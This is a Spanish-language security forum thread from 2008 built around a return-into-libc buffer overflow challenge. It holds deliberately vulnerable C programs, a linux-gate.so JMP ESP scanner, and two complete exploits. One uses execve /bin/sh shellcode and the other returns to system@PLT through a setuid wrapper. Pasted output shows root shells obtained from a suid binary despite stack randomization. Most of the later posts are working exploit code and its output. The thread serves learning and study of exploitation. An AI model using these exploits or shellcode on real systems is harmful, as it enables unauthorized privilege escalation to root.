elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 16:41  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Retun into libc Poc "RETO"
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Retun into libc Poc "RETO"  (Leído 2,438 veces)
sylkat

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Retun into libc Poc "RETO"
« en: 25 Marzo 2008, 18:12 »

Buenas  a todos,
Este es mi primer post, y me ha costado mucho encontrar un foro de "hacking" donde haya un poco de calidad, al fin lo conseguí, parece ser que aki hay gente con nivel... :o :o

En muchos foros de juankers, en el hilo de exploits, veo que los posts que mas abundan són, como compilo un exploit, que es un exploit y me muero por ser hacker...

No es por nada  pero mis inquietudes van mas allá, se acabó la presentación.

Tras estar 5 días en calma y trankilidad en mi casa de campo, solo yo, mi computer y mi piano, empiezo la semana con una inquietud tremenda....

Llevo 4 dias dale que te pego con el metodo de explotación de buffer overflow, "Return into libc".

En teoría no tiene muxa complicación, segun los papers de internet, el que mas me ayudó fue el de phrak y enyesecurity, este último para 64Bits.

Que pasa entonces, cual es el problema..?

Pues que las cosas cambiaron muxo desde entonces, y "ninguno" de los que encontré está actualizado, no chutan.

Eso si me ayudaron a entender la tecnica y a "medio" implementarla en un Poc.

Por si alguien se vuelve medio loco provando técnicas y tal y tal, enumeraré los cambios que hacen que este método actuálmente sea muy dificil de ejecutar.

1-Para sacar los offsets de por ejemplo system, antes con "gdb p system" ya la teníamos, con PLT (dynamic addr) se acabó lo que se daba, a partir de ahora solo podremos saltar a las funciones que importa el binario en cuestión.

2-Mas de lo mismo, si antes se podian encontrar las direcciones de memoria de las variables de entorno vease SHELL=/bin/sh, pues ahora tambien pero con la dirección aleatoria.....getenv("SHELL") ya no chuta.

3-Para qué system("/bin/sh")? si podemos copiar nuestra shellcode con mmap y luego retornar a ella, pues aki el problema se plantea cuando vemos que con los linux de ahora.....el ESP es dinámico tambien, o sea que no hay manera de determinar el FRAME(segun PHRAK) y no podemos saber el offset de nuesto shellcode para copiarlo con mmap.

4-Pues calculemos el offset de ESP------SHELLCODE, tampoco siempre es aleatorio, y por fuerza bruta lo veo inviable.


Mmmm la cosa esta dificil y solo queda recurrir a un CALL ESP o JMP ESP cosa que implica el estudio del binario en cuestion :) y no deja de ser un stack overflow.

Por lo tanto replanteo mis dudas:

1-Es possible hacer un "return into libc" actualmente y con exito en x86, o hay que ir saltando por el binario hasta conseguir retornar al stack?

2-De que manera se puede localizar el offset de la shellcode una vez en ejecuión?

Estas preguntas son muy genéricas, y que mejor para responderlas...que un ejemplo de  codigo vulnerable, para que a la vez sirvan de reto para los mas inquietos..

-----code bof1.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void basura(void) {
        system(NULL);
        }

void f1(char *argv[])
  {
  char buf[1024];

  strcpy(buf, argv[1]);  /* OVERFLOW */
  }


int main(int argc, char *argv[])
  {
  char *p;//="/bin/sh;#";
  p=malloc(1024);

  f1(argv);
  return(0);
  }
-----fin_code

gcc -ggdb bof1.c -o bof1

Por supuesto decir que NO vale un retorno al stack, a no ser que se utilicen saltos del propio binario, o saltos de alguna funcion de libc.

Y para los que esten comenzando, el mismo codigo pero con una ayudita para que sea mas facil....

----code bof2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void basura(void) {
        system(NULL);
        }

void f1(char *argv[])
  {
  char buf[1024];

  strcpy(buf, argv[1]);  /* OVERFLOW */
  }


int main(int argc, char *argv[])
  {
  char *p;//="/bin/sh;#";
  p=malloc(1024);
  f1(argv);

__asm__ (  "mov %esp, %eax\n\t"
            "call   *%eax\n\t");

  __asm__("mov (%esp), %ebp\n\t"
          " call *%ebp\n\t");
  exit(0);
  return(0);
  }

---fin code

)
Espero vuestra colaboración, y al final del reto presentar las técnicas aplicadas.

Yo por mi parte tengo un tutorial de como explotarlo con ayudas varias y uso de gdb, aunque tengo que decir, que debo completarlo con el que resuelva el reto, o sea que el reto tambien es mio.

Gracias a totus por la colaboración.





En línea
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Retun into libc Poc "RETO"
« Respuesta #1 en: 27 Marzo 2008, 13:39 »

Hombre hasta la libc 5 lo veo viable pero no sé con q versión estás trabajando. Haz un ldd /bin/ls | grep libc y me cuentas.

2-De que manera se puede localizar el offset de la shellcode una vez en ejecuión?
Pues muy sencillo, con el señor &. Menos ASM y mas punteros en C ^__^

En línea

RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: Retun into libc Poc "RETO"
« Respuesta #2 en: 2 Abril 2008, 00:13 »

Buenas.

Mm, de que me suenan parte de esos ejemplos?..  :rolleyes:. A ver, el reto es explotar esos codigos en linux, pero en que linux?; x86 con randomize (ASLR) activado?, x86 sin randomize?, x86 con PaX (stack no ejecutable para que nos entendamos)?, x86_64?...

Lo de con el señor & no lo he pillado...  :huh:

Un saludo!.
« Última modificación: 2 Abril 2008, 00:16 por RaiSe » En línea

RaiSe | eNYe-Sec.org
sylkat

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: Retun into libc Poc "RETO"
« Respuesta #3 en: 2 Abril 2008, 11:29 »

Buenas,

Pues sip esos ejemplos son casi un copy y paste de un paper tuyo de enyesec.

Lo del señor &, pues creo que no se entendió muy bien el problema, me explico:

No podemos sacar la dirección de la shellcode una vez injectada en el buffer ya que en el EGG o churro que le pasamos a la aplicación no podemos poner el operador de indirección evidentemente.

Bien si que podemos sacar la dirección con gdb, pero asi nos daremos cuenta de que siempre és aleatoria.

Aclaro tus dudas sobre el reto:

La arquitectura debería ser x86 ya que con 64bits la manera de explotarlo esta muy bien explicado en el paper:

http://www.enye-sec.org/textos/introduccion.a.los.overflows.en.linux.x86_64.txt

Intenté aplicar tu técnica pero en 64bits la manera de hacer calls en asm cambió y los argumentos se pasan por registros y no en la pila, con lo cual me perdí un poco.

Los requerimientos del reto són:

-Random stack.
-Random library.
-No exec stack.
-PLT library maps.

Un link muy interesante sobre return into libc con las características citadas anteriormente.

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt

Me estoy basando en este paper para completar el primer reto, y por fin conseguí un link en ingles, todo lo que había encontrado hasta ahora estaba en koreano, y solo podía aprovechar el código, ya me dió ideas por eso.

Para los mas avanzados, el segundo reto no tiene misterios, pero bueno para introducirte en el temita está bien.

Por mi parte este fin de semana sacaré tiempo para escribir el exploit, cuando me empape de las técnicas de este ingenioso tipejo koreano, al cual admiro.


Saludos a todas esas mentes inquietas que corren por este espacio azul.....


En línea
sylkat

Desconectado Desconectado

Mensajes: 14


Ver Perfil
linux-gate-PoC
« Respuesta #4 en: 6 Abril 2008, 14:22 »

Wenash,

Bueno pues voy a poner un posible exploit para el primer reto, NO pasa NO-EXEC-STACK. :-(

Pero a modo didactico creo que ya esta bien.

Es un metodo para saltarse el random stack y se utiliza una vulnerabilidad por asi decirlo del kernel, en teoria solventado a partir de la version 2.6.14.

Yo lo he probado con una debian estable totalmente actualizada y con un kernel 2.6.18-6-k7 y funciona.

--linux-gate.so ret atack--


Creo que esto ya lleva un par de anyitos rulando por ahi y se aprovecha de un dynamic shared object DSO creado por el kernel del sistema, y que es imprescindible cuando hay una  system call con 6 argumentos y el registro ebp debe ser sobreescrito por el sexto argumento.

Que peculiaridad tiene esto...pues que  tiene un offset fijo propio al que podremos saltar, y que nos ofrecera este bonito metodo.....pues un maravilloso.

JMP %ESP

Con esto  lo tenemos muy facil y podemos saltar hacia nuestro shellocode colocado en el stack y asi saltandonos el random stack ya que este objeto siempre tiene el mismo offset.

Vamos a comprovar todo esto.

# gcc -ggdb -o bof1 bof1.c
# ldd bof1
        linux-gate.so.1 =>  (0xffffe000)  <------------------offset
        libc.so.6 => /lib/tls/libc.so.6 (0xb7db2000)
        /lib/ld-linux.so.2 (0xb7eee000)

# ldd bof1
        linux-gate.so.1 =>  (0xffffe000)  <------------------offset
        libc.so.6 => /lib/tls/libc.so.6 (0xb7e09000)
        /lib/ld-linux.so.2 (0xb7f45000)

Asi vemos que todas las demas direcciones son dinamicas pero la que nos interesa no varia...;)

Ahora sacaremos el salto que nos interesa buscando en la  memoria a partir de la direccion obtenida.

Código:
--code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main (int argc, int *argv){
        int i,jmps;
        char *ptr = (char *) 0xffffe000;
        jmps = 0;
        for (i=0;i<4095;i++){
                if (ptr[i] == '\xff' && ptr[i+1] == '\xe4'){
                        printf("* 0x%08x : jmp *%%esp\n", ptr+i);
                        jmps++;
                }
        }
        if (!jmps){
                printf("* No SMP %%ESP were found\n");
        }
        return 1;
}

--code


# gcc got_jmpesp.c -o got_jmpesp
# # ./got_jmpesp
* 0xffffe777 : jmp *%esp

Bien, vemos que hay un bonito salto hacia esp con lo cual el buffer a explotar quedaria asi:

             1028 bytes                   4 bytes                                 30 bytes
       AAAAAAAAAAAAAA            JMP %ESP                             SHELLCODE
|------------------------------||---------------------||--------------------------------------------|
   `perl -e 'print "A" x 1028     "\x77\xe7\xff\xff"   "\x6a\x17\x58\x?x?x?x?x\xe1\xcd\x80"

Vamos a probar desde la shell.

# id

uid=0(root) gid=0(root) grups=0(root)

# chmod +s bof1

# su sylkat

# uname -a

2.6.18-6-k7 #1 SMP Sun Feb 10 22:16:15 UTC 2008 i686 GNU/Linux

Código:
# ./bof1 `perl -e 'print "A" x 1028 ."\x77\xe7\xff\xff"."\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" '
 `

sh-3.1# id

uid=0(root) gid=1041(sylkat) egid=0(root) groups=1041(sylkat)

sh-3.1# exit

Hemos obtenido un suid de root XD, saltandonos asi el maldito random stack... aunque este random stack no es tan aleatorio como ya veremos en el proximo capitulo   ;)

PD:US teclado, no acentos no enyes.......  :¬¬

Código:
--code exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
        "\x6a\x17\x58\x31\xdb\xcd\x80"
        "\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

unsigned long find_esp(void){
        int i;
        char *ptr = (char *) 0xffffe000;
        for (i=0;i<4095;i++){
                if (ptr[i] == '\xff' && ptr[i+1] == '\xe4'){
                        printf("* 0x%08x : jmp *%%esp\n", ptr+i);
                        return (unsigned long) ptr + i;
                }
        }
        return 0;
}
int main(int argc, char **argv){
        char evilbuf[1300];
        char *evilargs[]= {"./bof1", evilbuf, NULL};
        unsigned long retaddr;
        retaddr = find_esp();
        if(!retaddr){
                 printf("* No SMP %%ESP were found\n");
                 return -1;
        }
        memset(evilbuf, 0x41, sizeof(evilbuf));
        memcpy(evilbuf+1028, &retaddr, sizeof(long));
        memcpy(evilbuf+1032, shellcode, sizeof(shellcode));
        execve("./bof1", evilargs, NULL);
        return 1;
}

--code

Referencia:

http://milw0rm.com/papers/55


En línea
sylkat

Desconectado Desconectado

Mensajes: 14


Ver Perfil
EXPLOIT 2 RANDOM STACK????
« Respuesta #5 en: 9 Abril 2008, 15:17 »

Hola,

Bueno parece ser que la gente no se anima al reto, pero yo he estado haciendo los deberes y por fin consegui pasar el maldito NO-EXEC-STACK. :laugh:

--RANDOM STACK???

Pues como dice el enunciado, parece ser que el stack es predecible, y si podemos saber la direccion del stack podemos saber la direccion de nuestro argumento para la funcion system que sera un wrapper hacia sh  obteniendo uid 0.

1-Wrapper para conseguir uid 0

Código:
int main(){
setuid(0);
setgid(0);
system("/bin/sh");
}

gcc -o sh sh.c

2-El exploit que aprovecha la vulnerabilidad del random stack

Código:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SYSTEM_PLT  0x080482f0
#define RET         0x08048292
#define WRAPPER_1   0x68732f2e
#define WRAPPER_2   0x2323233b

int main(int argc, char **argv){
        char evilbuf[1100];
        char *evilargs[]= {"./bof1", evilbuf, NULL};
        unsigned long  sh_addr=(long unsigned) &evilbuf;
        unsigned long  sys_ret= SYSTEM_PLT;
        unsigned long ret= RET;
        unsigned long wrapper_1= WRAPPER_1;
        unsigned long wrapper_2= WRAPPER_2;
        int i;
        sh_addr=sh_addr + 204;
        printf("-------------------------\n");
        printf("Random stack: 0x%x ;)\n",sh_addr);
        printf("system plt: 0x%x \n", sys_ret);

        memset(evilbuf, 0x68 , sizeof(evilbuf));
        for(i=0;i<1100;i+=4) {
                memcpy(evilbuf+i, &wrapper_1, sizeof(long) );
                memcpy(evilbuf+i+4, &wrapper_2, sizeof(long) );
                i+=4;
        }
        memcpy(evilbuf+1028, &sys_ret, sizeof(long));
        memcpy(evilbuf+1032, &ret, sizeof(long));
        memcpy(evilbuf+1036, &sh_addr, sizeof(long));;
        execve("./bof1", evilargs, NULL);
        return 1;
}

# gcc no_random_libc.c

# ./a.out

-------------------------
Random stack: 0xbfa620e0 ;)
system plt: 0x80482f0
sh-3.1#  whoami
root
sh-3.1#

MMMMM  ;D xaxi piruli nos saltamos todas las protecciones, lastima que esto solo funcione localmente.

Espero poder crear otro exploit mas limpio ya que este a veces falla aunque tras 3 ejecuciones.... tachan tenemos nuestro uid 0.

Sigo buscando soluciones diferentes para asi ampliar conocimientos y porque no debatir y buscar nuevos metodos de explotacion.

Saludos a todos los juankers y.......me gustaria ver vuestros code´s.

PD:Teclado US no acentos no enyes.

PD:Proximo post comento el codigo y como adaptarlo para cada sistema.
« Última modificación: 9 Abril 2008, 15:19 por sylkat » En línea
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: Retun into libc Poc "RETO"
« Respuesta #6 en: 9 Abril 2008, 22:15 »

Hola, mola el exploit  :).

Quería comentar un par de cosillas. El:

memset(evilbuf, 0x68 , sizeof(evilbuf));

No entiendo para que esta?..  :huh:. Lo del uid 0, que lo estas probando en debian?. Lo normal es que la bash te quite el euid 0, creo que hace algo como seteuid(getuid()), y si le das suid root al programa vulnerable lo pierdes en el system(), con lo que el sh.c no funcionaría. La bash de debian tengo entendido que está modificada y no hace eso. Puedes probarlo copiando /bin/sh a /tmp/sh y darle suid root, y probar a ejecutarla con usuario != uid0 y mirar si mantiene el euid=0.

Lo de que falle a veces, supongo que es porque no coincide %esp apuntando a './bin/sh;#', supongo que antes de saltar a la PLT se podria saltar al propio binario y hacer algun arreglillo, no? (igual no).

Un saludo  ;).

En línea

RaiSe | eNYe-Sec.org
sylkat

Desconectado Desconectado

Mensajes: 14


Ver Perfil
system("./sh;###");
« Respuesta #7 en: 11 Abril 2008, 10:56 »

Hi,

Pues se me colo la linea en el codigo haciendo pruebas en memoria, para poder insertar el "./sh;###", vamos que no sirve de nada.

Llevas razon, trabajo con debian y parece ser que hay diferencias con otras distribuciones, no sabia nada, ayer instale opensuse y no obtengo euid=0, vaya vaya, no entiendo el porque en debian la bash no hace el seteuid(getuid()).

Y el tema de que falle pues es por la propia naturaleza de la vuln, el esp es predecible, pero a veces no, es un poco aleatorio, y parece ser que esta bastante relacionado con el tiempo de ejecucion entre proceso y proceso.

Alguna sugerencia con lo de saltar al binario ??

En opensuse el metodo linux-gate no chuta ya que no hay ningun jmp %esp....

Pero si que se puede utilizar el ataque del random stack para poder retornar a una shellcode en el stack, ya estamos con lo mismo y no nos saltamos el no-exec-stack.


Estos de debian me estan defraudando, voy a mandar un correo a la lista de debian comentandoles estas pequenyas peculiaridades que tiene debian respecto a la seguridad se refiere(espero no morir apaleador)....

PD: Como postear por ahora es gratix, proximamente pongo el exploit de random-stack, pero retornando a una shellcode.

PD2:Me quede sin mi return libc UNIVERSAL EXPLOIT JOLINNNNNNNN

Ciaoo
En línea
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: Retun into libc Poc "RETO"
« Respuesta #8 en: 11 Abril 2008, 16:46 »

Buenas.

Yo lo de la bash de debian lo sabía, pero no tengo ni idea de porque está asi. Igual algun programa de debian hace system() y necesita privilegios de root, pero es un poco cutrilla la explicación. La verdad es que ni idea...

Lo del exploit, no puedes publicar el binario del vuln?, para poder hacer un exploit y que lo testeemos. Es que si no hay binario, hacer un exploit funcional basandonos en el código ya sería demasiado trabajo jeje. Pon el binario en alguna parte y lo miramos a ver, o enviamelo al email si lo prefieres.

Un saludo!  ;).
En línea

RaiSe | eNYe-Sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines